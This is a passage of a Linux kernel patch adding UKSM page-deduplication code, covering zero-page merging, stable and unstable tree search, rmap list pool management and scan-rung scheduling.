++	if (uksm_test_exit(mm))
++		goto out;
++
++	break_ksm(vma, addr);
++out:
++	return;
++}
++
++/*
++ * Though it's very tempting to unmerge in_stable_tree(rmap_item)s rather
++ * than check every pte of a given vma, the locking doesn't quite work for
++ * that - an rmap_item is assigned to the stable tree after inserting ksm
++ * page and upping mmap_sem.  Nor does it fit with the way we skip dup'ing
++ * rmap_items from parent to child at fork time (so as not to waste time
++ * if exit comes before the next scan reaches it).
++ *
++ * Similarly, although we'd like to remove rmap_items (so updating counts
++ * and freeing memory) when unmerging an area, it's easier to leave that
++ * to the next pass of ksmd - consider, for example, how ksmd might be
++ * in cmp_and_merge_page on one of the rmap_items we would be removing.
++ */
++inline int unmerge_uksm_pages(struct vm_area_struct *vma,
++		      unsigned long start, unsigned long end)
++{
++	unsigned long addr;
++	int err = 0;
++
++	for (addr = start; addr < end && !err; addr += PAGE_SIZE) {
++		if (uksm_test_exit(vma->vm_mm))
++			break;
++		if (signal_pending(current))
++			err = -ERESTARTSYS;
++		else
++			err = break_ksm(vma, addr);
++	}
++	return err;
++}
++
++static inline void inc_uksm_pages_scanned(void)
++{
++	u64 delta;
++
++
++	if (uksm_pages_scanned == U64_MAX) {
++		encode_benefit();
++
++		delta = uksm_pages_scanned >> pages_scanned_base;
++
++		if (CAN_OVERFLOW_U64(pages_scanned_stored, delta)) {
++			pages_scanned_stored >>= 1;
++			delta >>= 1;
++			pages_scanned_base++;
++		}
++
++		pages_scanned_stored += delta;
++
++		uksm_pages_scanned = uksm_pages_scanned_last = 0;
++	}
++
++	uksm_pages_scanned++;
++}
++
++static inline int find_zero_page_hash(int strength, u32 hash)
++{
++	return (zero_hash_table[strength] == hash);
++}
++
++static
++int cmp_and_merge_zero_page(struct vm_area_struct *vma, struct page *page)
++{
++	struct page *zero_page = empty_uksm_zero_page;
++	struct mm_struct *mm = vma->vm_mm;
++	pte_t orig_pte = __pte(0);
++	int err = -EFAULT;
++
++	if (uksm_test_exit(mm))
++		goto out;
++
++	if (PageTransCompound(page) && page_trans_compound_anon_split(page))
++		goto out;
++	BUG_ON(PageTransCompound(page));
++
++	if (!PageAnon(page))
++		goto out;
++
++	if (!trylock_page(page))
++		goto out;
++
++	if (write_protect_page(vma, page, &orig_pte, 0) == 0) {
++		if (is_page_full_zero(page))
++			err = replace_page(vma, page, zero_page, orig_pte);
++	}
++
++	unlock_page(page);
++out:
++	return err;
++}
++
++/*
++ * cmp_and_merge_page() - first see if page can be merged into the stable
++ * tree; if not, compare hash to previous and if it's the same, see if page
++ * can be inserted into the unstable tree, or merged with a page already there
++ * and both transferred to the stable tree.
++ *
++ * @page: the page that we are searching identical page to.
++ * @rmap_item: the reverse mapping into the virtual address of this page
++ */
++static void cmp_and_merge_page(struct rmap_item *rmap_item, u32 hash)
++{
++	struct rmap_item *tree_rmap_item;
++	struct page *page;
++	struct page *kpage = NULL;
++	u32 hash_max;
++	int err;
++	unsigned int success1, success2;
++	struct stable_node *snode;
++	int cmp;
++	struct rb_node *parent = NULL, **new;
++
++	remove_rmap_item_from_tree(rmap_item);
++	page = rmap_item->page;
++
++	/* We first start with searching the page inside the stable tree */
++	kpage = stable_tree_search(rmap_item, hash);
++	if (kpage) {
++		err = try_to_merge_with_uksm_page(rmap_item, kpage,
++						 hash);
++		if (!err) {
++			/*
++			 * The page was successfully merged, add
++			 * its rmap_item to the stable tree.
++			 * page lock is needed because it's
++			 * racing with try_to_unmap_ksm(), etc.
++			 */
++			lock_page(kpage);
++			snode = page_stable_node(kpage);
++			stable_tree_append(rmap_item, snode, 1);
++			unlock_page(kpage);
++			put_page(kpage);
++			return; /* success */
++		}
++		put_page(kpage);
++
++		/*
++		 * if it's a collision and it has been search in sub-rbtree
++		 * (hash_max != 0), we want to abort, because if it is
++		 * successfully merged in unstable tree, the collision trends to
++		 * happen again.
++		 */
++		if (err == MERGE_ERR_COLLI && rmap_item->hash_max)
++			return;
++	}
++
++	tree_rmap_item =
++		unstable_tree_search_insert(rmap_item, hash);
++	if (tree_rmap_item) {
++		err = try_to_merge_two_pages(rmap_item, tree_rmap_item, hash);
++		/*
++		 * As soon as we merge this page, we want to remove the
++		 * rmap_item of the page we have merged with from the unstable
++		 * tree, and insert it instead as new node in the stable tree.
++		 */
++		if (!err) {
++			kpage = page;
++			remove_rmap_item_from_tree(tree_rmap_item);
++			lock_page(kpage);
++			snode = stable_tree_insert(&kpage, hash,
++						   rmap_item, tree_rmap_item,
++						   &success1, &success2);
++
++			/*
++			 * Do not log dedup for tree item, it's not counted as
++			 * scanned in this round.
++			 */
++			if (success2)
++				stable_tree_append(tree_rmap_item, snode, 0);
++
++			/*
++			 * The order of these two stable append is important:
++			 * we are scanning rmap_item.
++			 */
++			if (success1)
++				stable_tree_append(rmap_item, snode, 1);
++
++			/*
++			 * The original kpage may be unlocked inside
++			 * stable_tree_insert() already. This page
++			 * should be unlocked before doing
++			 * break_cow().
++			 */
++			unlock_page(kpage);
++
++			if (!success1)
++				break_cow(rmap_item);
++
++			if (!success2)
++				break_cow(tree_rmap_item);
++
++		} else if (err == MERGE_ERR_COLLI) {
++			BUG_ON(tree_rmap_item->tree_node->count > 1);
++
++			rmap_item_hash_max(tree_rmap_item,
++					   tree_rmap_item->tree_node->hash);
++
++			hash_max = rmap_item_hash_max(rmap_item, hash);
++			cmp = hash_cmp(hash_max, tree_rmap_item->hash_max);
++			parent = &tree_rmap_item->node;
++			if (cmp < 0)
++				new = &parent->rb_left;
++			else if (cmp > 0)
++				new = &parent->rb_right;
++			else
++				goto put_up_out;
++
++			rmap_item->tree_node = tree_rmap_item->tree_node;
++			rmap_item->address |= UNSTABLE_FLAG;
++			rmap_item->hash_round = uksm_hash_round;
++			rb_link_node(&rmap_item->node, parent, new);
++			rb_insert_color(&rmap_item->node,
++					&tree_rmap_item->tree_node->sub_root);
++			rmap_item->tree_node->count++;
++		} else {
++			/*
++			 * either one of the page has changed or they collide
++			 * at the max hash, we consider them as ill items.
++			 */
++			remove_rmap_item_from_tree(tree_rmap_item);
++		}
++put_up_out:
++		put_page(tree_rmap_item->page);
++		up_read(&tree_rmap_item->slot->vma->vm_mm->mmap_sem);
++	}
++}
++
++
++
++
++static inline unsigned long get_pool_index(struct vma_slot *slot,
++					   unsigned long index)
++{
++	unsigned long pool_index;
++
++	pool_index = (sizeof(struct rmap_list_entry *) * index) >> PAGE_SHIFT;
++	if (pool_index >= slot->pool_size)
++		BUG();
++	return pool_index;
++}
++
++static inline unsigned long index_page_offset(unsigned long index)
++{
++	return offset_in_page(sizeof(struct rmap_list_entry *) * index);
++}
++
++static inline
++struct rmap_list_entry *get_rmap_list_entry(struct vma_slot *slot,
++					    unsigned long index, int need_alloc)
++{
++	unsigned long pool_index;
++	struct page *page;
++	void *addr;
++
++
++	pool_index = get_pool_index(slot, index);
++	if (!slot->rmap_list_pool[pool_index]) {
++		if (!need_alloc)
++			return NULL;
++
++		page = alloc_page(GFP_KERNEL | __GFP_ZERO | __GFP_NOWARN);
++		if (!page)
++			return NULL;
++
++		slot->rmap_list_pool[pool_index] = page;
++	}
++
++	addr = kmap(slot->rmap_list_pool[pool_index]);
++	addr += index_page_offset(index);
++
++	return addr;
++}
++
++static inline void put_rmap_list_entry(struct vma_slot *slot,
++				       unsigned long index)
++{
++	unsigned long pool_index;
++
++	pool_index = get_pool_index(slot, index);
++	BUG_ON(!slot->rmap_list_pool[pool_index]);
++	kunmap(slot->rmap_list_pool[pool_index]);
++}
++
++static inline int entry_is_new(struct rmap_list_entry *entry)
++{
++	return !entry->item;
++}
++
++static inline unsigned long get_index_orig_addr(struct vma_slot *slot,
++						unsigned long index)
++{
++	return slot->vma->vm_start + (index << PAGE_SHIFT);
++}
++
++static inline unsigned long get_entry_address(struct rmap_list_entry *entry)
++{
++	unsigned long addr;
++
++	if (is_addr(entry->addr))
++		addr = get_clean_addr(entry->addr);
++	else if (entry->item)
++		addr = get_rmap_addr(entry->item);
++	else
++		BUG();
++
++	return addr;
++}
++
++static inline struct rmap_item *get_entry_item(struct rmap_list_entry *entry)
++{
++	if (is_addr(entry->addr))
++		return NULL;
++
++	return entry->item;
++}
++
++static inline void inc_rmap_list_pool_count(struct vma_slot *slot,
++					    unsigned long index)
++{
++	unsigned long pool_index;
++
++	pool_index = get_pool_index(slot, index);
++	BUG_ON(!slot->rmap_list_pool[pool_index]);
++	slot->pool_counts[pool_index]++;
++}
++
++static inline void dec_rmap_list_pool_count(struct vma_slot *slot,
++					    unsigned long index)
++{
++	unsigned long pool_index;
++
++	pool_index = get_pool_index(slot, index);
++	BUG_ON(!slot->rmap_list_pool[pool_index]);
++	BUG_ON(!slot->pool_counts[pool_index]);
++	slot->pool_counts[pool_index]--;
++}
++
++static inline int entry_has_rmap(struct rmap_list_entry *entry)
++{
++	return !is_addr(entry->addr) && entry->item;
++}
++
++static inline void swap_entries(struct rmap_list_entry *entry1,
++				unsigned long index1,
++				struct rmap_list_entry *entry2,
++				unsigned long index2)
++{
++	struct rmap_list_entry tmp;
++
++	/* swapping two new entries is meaningless */
++	BUG_ON(entry_is_new(entry1) && entry_is_new(entry2));
++
++	tmp = *entry1;
++	*entry1 = *entry2;
++	*entry2 = tmp;
++
++	if (entry_has_rmap(entry1))
++		entry1->item->entry_index = index1;
++
++	if (entry_has_rmap(entry2))
++		entry2->item->entry_index = index2;
++
++	if (entry_has_rmap(entry1) && !entry_has_rmap(entry2)) {
++		inc_rmap_list_pool_count(entry1->item->slot, index1);
++		dec_rmap_list_pool_count(entry1->item->slot, index2);
++	} else if (!entry_has_rmap(entry1) && entry_has_rmap(entry2)) {
++		inc_rmap_list_pool_count(entry2->item->slot, index2);
++		dec_rmap_list_pool_count(entry2->item->slot, index1);
++	}
++}
++
++static inline void free_entry_item(struct rmap_list_entry *entry)
++{
++	unsigned long index;
++	struct rmap_item *item;
++
++	if (!is_addr(entry->addr)) {
++		BUG_ON(!entry->item);
++		item = entry->item;
++		entry->addr = get_rmap_addr(item);
++		set_is_addr(entry->addr);
++		index = item->entry_index;
++		remove_rmap_item_from_tree(item);
++		dec_rmap_list_pool_count(item->slot, index);
++		free_rmap_item(item);
++	}
++}
++
++static inline int pool_entry_boundary(unsigned long index)
++{
++	unsigned long linear_addr;
++
++	linear_addr = sizeof(struct rmap_list_entry *) * index;
++	return index && !offset_in_page(linear_addr);
++}
++
++static inline void try_free_last_pool(struct vma_slot *slot,
++				      unsigned long index)
++{
++	unsigned long pool_index;
++
++	pool_index = get_pool_index(slot, index);
++	if (slot->rmap_list_pool[pool_index] &&
++	    !slot->pool_counts[pool_index]) {
++		__free_page(slot->rmap_list_pool[pool_index]);
++		slot->rmap_list_pool[pool_index] = NULL;
++		slot->flags |= UKSM_SLOT_NEED_SORT;
++	}
++
++}
++
++static inline unsigned long vma_item_index(struct vm_area_struct *vma,
++					   struct rmap_item *item)
++{
++	return (get_rmap_addr(item) - vma->vm_start) >> PAGE_SHIFT;
++}
++
++static int within_same_pool(struct vma_slot *slot,
++			    unsigned long i, unsigned long j)
++{
++	unsigned long pool_i, pool_j;
++
++	pool_i = get_pool_index(slot, i);
++	pool_j = get_pool_index(slot, j);
++
++	return (pool_i == pool_j);
++}
++
++static void sort_rmap_entry_list(struct vma_slot *slot)
++{
++	unsigned long i, j;
++	struct rmap_list_entry *entry, *swap_entry;
++
++	entry = get_rmap_list_entry(slot, 0, 0);
++	for (i = 0; i < slot->pages; ) {
++
++		if (!entry)
++			goto skip_whole_pool;
++
++		if (entry_is_new(entry))
++			goto next_entry;
++
++		if (is_addr(entry->addr)) {
++			entry->addr = 0;
++			goto next_entry;
++		}
++
++		j = vma_item_index(slot->vma, entry->item);
++		if (j == i)
++			goto next_entry;
++
++		if (within_same_pool(slot, i, j))
++			swap_entry = entry + j - i;
++		else
++			swap_entry = get_rmap_list_entry(slot, j, 1);
++
++		swap_entries(entry, i, swap_entry, j);
++		if (!within_same_pool(slot, i, j))
++			put_rmap_list_entry(slot, j);
++		continue;
++
++skip_whole_pool:
++		i += PAGE_SIZE / sizeof(*entry);
++		if (i < slot->pages)
++			entry = get_rmap_list_entry(slot, i, 0);
++		continue;
++
++next_entry:
++		if (i >= slot->pages - 1 ||
++		    !within_same_pool(slot, i, i + 1)) {
++			put_rmap_list_entry(slot, i);
++			if (i + 1 < slot->pages)
++				entry = get_rmap_list_entry(slot, i + 1, 0);
++		} else
++			entry++;
++		i++;
++		continue;
++	}
++
++	/* free empty pool entries which contain no rmap_item */
++	/* CAN be simplied to based on only pool_counts when bug freed !!!!! */
++	for (i = 0; i < slot->pool_size; i++) {
++		unsigned char has_rmap;
++		void *addr;
++
++		if (!slot->rmap_list_pool[i])
++			continue;
++
++		has_rmap = 0;
++		addr = kmap(slot->rmap_list_pool[i]);
++		BUG_ON(!addr);
++		for (j = 0; j < PAGE_SIZE / sizeof(*entry); j++) {
++			entry = (struct rmap_list_entry *)addr + j;
++			if (is_addr(entry->addr))
++				continue;
++			if (!entry->item)
++				continue;
++			has_rmap = 1;
++		}
++		kunmap(slot->rmap_list_pool[i]);
++		if (!has_rmap) {
++			BUG_ON(slot->pool_counts[i]);
++			__free_page(slot->rmap_list_pool[i]);
++			slot->rmap_list_pool[i] = NULL;
++		}
++	}
++
++	slot->flags &= ~UKSM_SLOT_NEED_SORT;
++}
++
++/*
++ * vma_fully_scanned() - if all the pages in this slot have been scanned.
++ */
++static inline int vma_fully_scanned(struct vma_slot *slot)
++{
++	return slot->pages_scanned == slot->pages;
++}
++
++/**
++ * get_next_rmap_item() - Get the next rmap_item in a vma_slot according to
++ * its random permutation. This function is embedded with the random
++ * permutation index management code.
++ */
++static struct rmap_item *get_next_rmap_item(struct vma_slot *slot, u32 *hash)
++{
++	unsigned long rand_range, addr, swap_index, scan_index;
++	struct rmap_item *item = NULL;
++	struct rmap_list_entry *scan_entry, *swap_entry = NULL;
++	struct page *page;
++
++	scan_index = swap_index = slot->pages_scanned % slot->pages;
++
++	if (pool_entry_boundary(scan_index))
++		try_free_last_pool(slot, scan_index - 1);
++
++	if (vma_fully_scanned(slot)) {
++		if (slot->flags & UKSM_SLOT_NEED_SORT)
++			slot->flags |= UKSM_SLOT_NEED_RERAND;
++		else
++			slot->flags &= ~UKSM_SLOT_NEED_RERAND;
++		if (slot->flags & UKSM_SLOT_NEED_SORT)
++			sort_rmap_entry_list(slot);
++	}
++
++	scan_entry = get_rmap_list_entry(slot, scan_index, 1);
++	if (!scan_entry)
++		return NULL;
++
++	if (entry_is_new(scan_entry)) {
++		scan_entry->addr = get_index_orig_addr(slot, scan_index);
++		set_is_addr(scan_entry->addr);
++	}
++
++	if (slot->flags & UKSM_SLOT_NEED_RERAND) {
++		rand_range = slot->pages - scan_index;
++		BUG_ON(!rand_range);
++		swap_index = scan_index + (prandom_u32() % rand_range);
++	}
++
++	if (swap_index != scan_index) {
++		swap_entry = get_rmap_list_entry(slot, swap_index, 1);
++		if (entry_is_new(swap_entry)) {
++			swap_entry->addr = get_index_orig_addr(slot,
++							       swap_index);
++			set_is_addr(swap_entry->addr);
++		}
++		swap_entries(scan_entry, scan_index, swap_entry, swap_index);
++	}
++
++	addr = get_entry_address(scan_entry);
++	item = get_entry_item(scan_entry);
++	BUG_ON(addr > slot->vma->vm_end || addr < slot->vma->vm_start);
++
++	page = follow_page(slot->vma, addr, FOLL_GET);
++	if (IS_ERR_OR_NULL(page))
++		goto nopage;
++
++	if (!PageAnon(page) && !page_trans_compound_anon(page))
++		goto putpage;
++
++	/*check is zero_page pfn or uksm_zero_page*/
++	if ((page_to_pfn(page) == zero_pfn)
++			|| (page_to_pfn(page) == uksm_zero_pfn))
++		goto putpage;
++
++	flush_anon_page(slot->vma, page, addr);
++	flush_dcache_page(page);
++
++
++	*hash = page_hash(page, hash_strength, 1);
++	inc_uksm_pages_scanned();
++	/*if the page content all zero, re-map to zero-page*/
++	if (find_zero_page_hash(hash_strength, *hash)) {
++		if (!cmp_and_merge_zero_page(slot->vma, page)) {
++			slot->pages_merged++;
++			__inc_zone_page_state(page, NR_UKSM_ZERO_PAGES);
++			dec_mm_counter(slot->mm, MM_ANONPAGES);
++
++			/* For full-zero pages, no need to create rmap item */
++			goto putpage;
++		} else {
++			inc_rshash_neg(memcmp_cost / 2);
++		}
++	}
++
++	if (!item) {
++		item = alloc_rmap_item();
++		if (item) {
++			/* It has already been zeroed */
++			item->slot = slot;
++			item->address = addr;
++			item->entry_index = scan_index;
++			scan_entry->item = item;
++			inc_rmap_list_pool_count(slot, scan_index);
++		} else
++			goto putpage;
++	}
++
++	BUG_ON(item->slot != slot);
++	/* the page may have changed */
++	item->page = page;
++	put_rmap_list_entry(slot, scan_index);
++	if (swap_entry)
++		put_rmap_list_entry(slot, swap_index);
++	return item;
++
++putpage:
++	put_page(page);
++	page = NULL;
++nopage:
++	/* no page, store addr back and free rmap_item if possible */
++	free_entry_item(scan_entry);
++	put_rmap_list_entry(slot, scan_index);
++	if (swap_entry)
++		put_rmap_list_entry(slot, swap_index);
++	return NULL;
++}
++
++static inline int in_stable_tree(struct rmap_item *rmap_item)
++{
++	return rmap_item->address & STABLE_FLAG;
++}
++
++/**
++ * scan_vma_one_page() - scan the next page in a vma_slot. Called with
++ * mmap_sem locked.
++ */
++static noinline void scan_vma_one_page(struct vma_slot *slot)
++{
++	u32 hash;
++	struct mm_struct *mm;
++	struct rmap_item *rmap_item = NULL;
++	struct vm_area_struct *vma = slot->vma;
++
++	mm = vma->vm_mm;
++	BUG_ON(!mm);
++	BUG_ON(!slot);
++
++	rmap_item = get_next_rmap_item(slot, &hash);
++	if (!rmap_item)
++		goto out1;
++
++	if (PageKsm(rmap_item->page) && in_stable_tree(rmap_item))
++		goto out2;
++
++	cmp_and_merge_page(rmap_item, hash);
++out2:
++	put_page(rmap_item->page);
++out1:
++	slot->pages_scanned++;
++	if (slot->fully_scanned_round != fully_scanned_round)
++		scanned_virtual_pages++;
++
++	if (vma_fully_scanned(slot))
++		slot->fully_scanned_round = fully_scanned_round;
++}
++
++static inline unsigned long rung_get_pages(struct scan_rung *rung)
++{
++	struct slot_tree_node *node;
++
++	if (!rung->vma_root.rnode)
++		return 0;
++
++	node = container_of(rung->vma_root.rnode, struct slot_tree_node, snode);
++
++	return node->size;
++}
++
++#define RUNG_SAMPLED_MIN	3
++
++static inline
++void uksm_calc_rung_step(struct scan_rung *rung,
++			 unsigned long page_time, unsigned long ratio)
++{
++	unsigned long sampled, pages;
++
++	/* will be fully scanned ? */
++	if (!rung->cover_msecs) {
++		rung->step = 1;
++		return;
++	}
++
++	sampled = rung->cover_msecs * (NSEC_PER_MSEC / TIME_RATIO_SCALE)
++		  * ratio / page_time;
++
++	/*
++	 *  Before we finsish a scan round and expensive per-round jobs,
++	 *  we need to have a chance to estimate the per page time. So
++	 *  the sampled number can not be too small.
++	 */
++	if (sampled < RUNG_SAMPLED_MIN)
++		sampled = RUNG_SAMPLED_MIN;
++
++	pages = rung_get_pages(rung);
++	if (likely(pages > sampled))
++		rung->step = pages / sampled;
++	else
++		rung->step = 1;
++}
++
++static inline int step_need_recalc(struct scan_rung *rung)
++{
++	unsigned long pages, stepmax;
++
++	pages = rung_get_pages(rung);
++	stepmax = pages / RUNG_SAMPLED_MIN;
++
++	return pages && (rung->step > pages ||
++			 (stepmax && rung->step > stepmax));
++}
++
++static inline
++void reset_current_scan(struct scan_rung *rung, int finished, int step_recalc)
++{
++	struct vma_slot *slot;
++
++	if (finished)
++		rung->flags |= UKSM_RUNG_ROUND_FINISHED;
++
++	if (step_recalc || step_need_recalc(rung)) {
++		uksm_calc_rung_step(rung, uksm_ema_page_time, rung->cpu_ratio);
++		BUG_ON(step_need_recalc(rung));
++	}
++
++	slot_iter_index = prandom_u32() % rung->step;
++	BUG_ON(!rung->vma_root.rnode);
++	slot = sradix_tree_next(&rung->vma_root, NULL, 0, slot_iter);
++	BUG_ON(!slot);
++
++	rung->current_scan = slot;
++	rung->current_offset = slot_iter_index;
++}
++
++static inline struct sradix_tree_root *slot_get_root(struct vma_slot *slot)
++{
++	return &slot->rung->vma_root;
++}
++
++/*
++ * return if resetted.
++ */
++static int advance_current_scan(struct scan_rung *rung)
++{
++	unsigned short n;
++	struct vma_slot *slot, *next = NULL;
++
++	BUG_ON(!rung->vma_root.num);
++
++	slot = rung->current_scan;
++	n = (slot->pages - rung->current_offset) % rung->step;
++	slot_iter_index = rung->step - n;
++	next = sradix_tree_next(&rung->vma_root, slot->snode,
++				slot->sindex, slot_iter);
++
++	if (next) {
++		rung->current_offset = slot_iter_index;
++		rung->current_scan = next;
++		return 0;
++	} else {
++		reset_current_scan(rung, 1, 0);
++		return 1;
++	}
++}
++
++static inline void rung_rm_slot(struct vma_slot *slot)
++{
++	struct scan_rung *rung = slot->rung;
++	struct sradix_tree_root *root;
++
++	if (rung->current_scan == slot)
++		advance_current_scan(rung);
++
++	root = slot_get_root(slot);
++	sradix_tree_delete_from_leaf(root, slot->snode, slot->sindex);
++	slot->snode = NULL;
++	if (step_need_recalc(rung)) {
++		uksm_calc_rung_step(rung, uksm_ema_page_time, rung->cpu_ratio);
++		BUG_ON(step_need_recalc(rung));
++	}
++
++	/* In case advance_current_scan loop back to this slot again */
++	if (rung->vma_root.num && rung->current_scan == slot)
++		reset_current_scan(slot->rung, 1, 0);
++}
++
++static inline void rung_add_new_slots(struct scan_rung *rung,
++			struct vma_slot **slots, unsigned long num)
++{
++	int err;
++	struct vma_slot *slot;
++	unsigned long i;
++	struct sradix_tree_root *root = &rung->vma_root;
++
++	err = sradix_tree_enter(root, (void **)slots, num);
++	BUG_ON(err);
++
++	for (i = 0; i < num; i++) {
++		slot = slots[i];
++		slot->rung = rung;
++		BUG_ON(vma_fully_scanned(slot));
++	}
++
++	if (rung->vma_root.num == num)
++		reset_current_scan(rung, 0, 1);
++}
++
++static inline int rung_add_one_slot(struct scan_rung *rung,
++				     struct vma_slot *slot)
++{
++	int err;
++
++	err = sradix_tree_enter(&rung->vma_root, (void **)&slot, 1);
++	if (err)
++		return err;
++
++	slot->rung = rung;
++	if (rung->vma_root.num == 1)
++		reset_current_scan(rung, 0, 1);
++
++	return 0;
++}
++
++/*
++ * Return true if the slot is deleted from its rung.
++ */
++static inline int vma_rung_enter(struct vma_slot *slot, struct scan_rung *rung)
++{
++	struct scan_rung *old_rung = slot->rung;
++	int err;
++
++	if (old_rung == rung)
++		return 0;
++
++	rung_rm_slot(slot);
++	err = rung_add_one_slot(rung, slot);
++	if (err) {
++		err = rung_add_one_slot(old_rung, slot);
++		WARN_ON(err); /* OOPS, badly OOM, we lost this slot */
++	}
++
++	return 1;
++}
++
++static inline int vma_rung_up(struct vma_slot *slot)
++{
++	struct scan_rung *rung;
++
++	rung = slot->rung;
++	if (slot->rung != &uksm_scan_ladder[SCAN_LADDER_SIZE-1])
++		rung++;
++
++	return vma_rung_enter(slot, rung);
++}
++
++static inline int vma_rung_down(struct vma_slot *slot)
++{
++	struct scan_rung *rung;
++
++	rung = slot->rung;
++	if (slot->rung != &uksm_scan_ladder[0])
++		rung--;
++
++	return vma_rung_enter(slot, rung);
++}
++
++/**
++ * cal_dedup_ratio() - Calculate the deduplication ratio for this slot.
++ */
++static unsigned long cal_dedup_ratio(struct vma_slot *slot)
++{
++	unsigned long ret;
++
++	BUG_ON(slot->pages_scanned == slot->last_scanned);
++
++	ret = slot->pages_merged;
++
++	/* Thrashing area filtering */
++	if (ret && uksm_thrash_threshold) {
++		if (slot->pages_cowed * 100 / slot->pages_merged
++		    > uksm_thrash_threshold) {
++			ret = 0;
++		} else {
++			ret = slot->pages_merged - slot->pages_cowed;
++		}
++	}
++
++	return ret;
++}
++
++/**
++ * cal_dedup_ratio() - Calculate the deduplication ratio for this slot.
++ */
++static unsigned long cal_dedup_ratio_old(struct vma_slot *slot)
++{
++	unsigned long ret;
++	unsigned long pages_scanned;
++
++	pages_scanned = slot->pages_scanned;
++	if (!pages_scanned) {
++		if (uksm_thrash_threshold)
++			return 0;
++		else
++			pages_scanned = slot->pages_scanned;
++	}
++
++	ret = slot->pages_bemerged * 100 / pages_scanned;
++
++	/* Thrashing area filtering */
++	if (ret && uksm_thrash_threshold) {
++		if (slot->pages_cowed * 100 / slot->pages_bemerged
++		    > uksm_thrash_threshold) {
++			ret = 0;
++		} else {
++			ret = slot->pages_bemerged - slot->pages_cowed;
++		}
++	}
++
++	return ret;
++}
++
++/**
++ * stable_node_reinsert() - When the hash_strength has been adjusted, the
++ * stable tree need to be restructured, this is the function re-inserting the
++ * stable node.
++ */
++static inline void stable_node_reinsert(struct stable_node *new_node,
++					struct page *page,
++					struct rb_root *root_treep,
++					struct list_head *tree_node_listp,
++					u32 hash)
++{
++	struct rb_node **new = &root_treep->rb_node;
++	struct rb_node *parent = NULL;
++	struct stable_node *stable_node;
++	struct tree_node *tree_node;
++	struct page *tree_page;
++	int cmp;
++
++	while (*new) {
++		int cmp;
++
++		tree_node = rb_entry(*new, struct tree_node, node);
++
++		cmp = hash_cmp(hash, tree_node->hash);
++
++		if (cmp < 0) {
++			parent = *new;
++			new = &parent->rb_left;
++		} else if (cmp > 0) {
++			parent = *new;
++			new = &parent->rb_right;
++		} else
++			break;
++	}
++
++	if (*new) {
++		/* find a stable tree node with same first level hash value */
++		stable_node_hash_max(new_node, page, hash);
++		if (tree_node->count == 1) {
++			stable_node = rb_entry(tree_node->sub_root.rb_node,
++					       struct stable_node, node);
++			tree_page = get_uksm_page(stable_node, 1, 0);
++			if (tree_page) {
++				stable_node_hash_max(stable_node,
++						      tree_page, hash);
++				put_page(tree_page);
++
++				/* prepare for stable node insertion */
++
++				cmp = hash_cmp(new_node->hash_max,
++						   stable_node->hash_max);
++				parent = &stable_node->node;
++				if (cmp < 0)
++					new = &parent->rb_left;
++				else if (cmp > 0)
++					new = &parent->rb_right;
++				else
++					goto failed;
++
++				goto add_node;
++			} else {
++				/* the only stable_node deleted, the tree node
++				 * was not deleted.
++				 */
++				goto tree_node_reuse;
++			}
++		}
++
++		/* well, search the collision subtree */
++		new = &tree_node->sub_root.rb_node;
++		parent = NULL;
++		BUG_ON(!*new);
++		while (*new) {
++			int cmp;
++
++			stable_node = rb_entry(*new, struct stable_node, node);
++
++			cmp = hash_cmp(new_node->hash_max,
++					   stable_node->hash_max);
++
++			if (cmp < 0) {
++				parent = *new;
++				new = &parent->rb_left;
++			} else if (cmp > 0) {
++				parent = *new;
++				new = &parent->rb_right;
++			} else {
++				/* oh, no, still a collision */
++				goto failed;
++			}
++		}
++
++		goto add_node;
++	}
++
++	/* no tree node found */
++	tree_node = alloc_tree_node(tree_node_listp);
++	if (!tree_node) {
++		printk(KERN_ERR "UKSM: memory allocation error!\n");
++		goto failed;
++	} else {
++		tree_node->hash = hash;
++		rb_link_node(&tree_node->node, parent, new);
++		rb_insert_color(&tree_node->node, root_treep);
++
++tree_node_reuse:
++		/* prepare for stable node insertion */
++		parent = NULL;
++		new = &tree_node->sub_root.rb_node;
++	}
++
++add_node:
++	rb_link_node(&new_node->node, parent, new);
++	rb_insert_color(&new_node->node, &tree_node->sub_root);
++	new_node->tree_node = tree_node;
++	tree_node->count++;
++	return;
++
++failed:
++	/* This can only happen when two nodes have collided
++	 * in two levels.
++	 */
++	new_node->tree_node = NULL;
++	return;
++}
++
++static inline void free_all_tree_nodes(struct list_head *list)
++{
++	struct tree_node *node, *tmp;
++
++	list_for_each_entry_safe(node, tmp, list, all_list) {
++		free_tree_node(node);
++	}
++}
++
++/**
++ * stable_tree_delta_hash() - Delta hash the stable tree from previous hash
++ * strength to the current hash_strength. It re-structures the hole tree.
++ */
++static inline void stable_tree_delta_hash(u32 prev_hash_strength)
++{
++	struct stable_node *node, *tmp;
++	struct rb_root *root_new_treep;
++	struct list_head *new_tree_node_listp;
++
++	stable_tree_index = (stable_tree_index + 1) % 2;
++	root_new_treep = &root_stable_tree[stable_tree_index];
++	new_tree_node_listp = &stable_tree_node_list[stable_tree_index];
++	*root_new_treep = RB_ROOT;
++	BUG_ON(!list_empty(new_tree_node_listp));
++
++	/*
++	 * we need to be safe, the node could be removed by get_uksm_page()
++	 */
++	list_for_each_entry_safe(node, tmp, &stable_node_list, all_list) {
++		void *addr;
++		struct page *node_page;
++		u32 hash;
++
++		/*
++		 * We are completely re-structuring the stable nodes to a new
++		 * stable tree. We don't want to touch the old tree unlinks and
++		 * old tree_nodes. The old tree_nodes will be freed at once.
++		 */
++		node_page = get_uksm_page(node, 0, 0);
++		if (!node_page)
++			continue;
++
++		if (node->tree_node) {
++			hash = node->tree_node->hash;
++
++			addr = kmap_atomic(node_page);
++
++			hash = delta_hash(addr, prev_hash_strength,
++					  hash_strength, hash);
++			kunmap_atomic(addr);
++		} else {
++			/*
++			 *it was not inserted to rbtree due to collision in last
++			 *round scan.
++			 */
++			hash = page_hash(node_page, hash_strength, 0);
++		}
++
++		stable_node_reinsert(node, node_page, root_new_treep,
++				     new_tree_node_listp, hash);
++		put_page(node_page);
++	}
++
++	root_stable_treep = root_new_treep;
++	free_all_tree_nodes(stable_tree_node_listp);
++	BUG_ON(!list_empty(stable_tree_node_listp));
++	stable_tree_node_listp = new_tree_node_listp;
++}
++
++static inline void inc_hash_strength(unsigned long delta)
++{
++	hash_strength += 1 << delta;
++	if (hash_strength > HASH_STRENGTH_MAX)
++		hash_strength = HASH_STRENGTH_MAX;
++}
++
++static inline void dec_hash_strength(unsigned long delta)
++{
++	unsigned long change = 1 << delta;
++
++	if (hash_strength <= change + 1)
++		hash_strength = 1;
++	else
++		hash_strength -= change;
++}
++
++static inline void inc_hash_strength_delta(void)
++{
++	hash_strength_delta++;
++	if (hash_strength_delta > HASH_STRENGTH_DELTA_MAX)
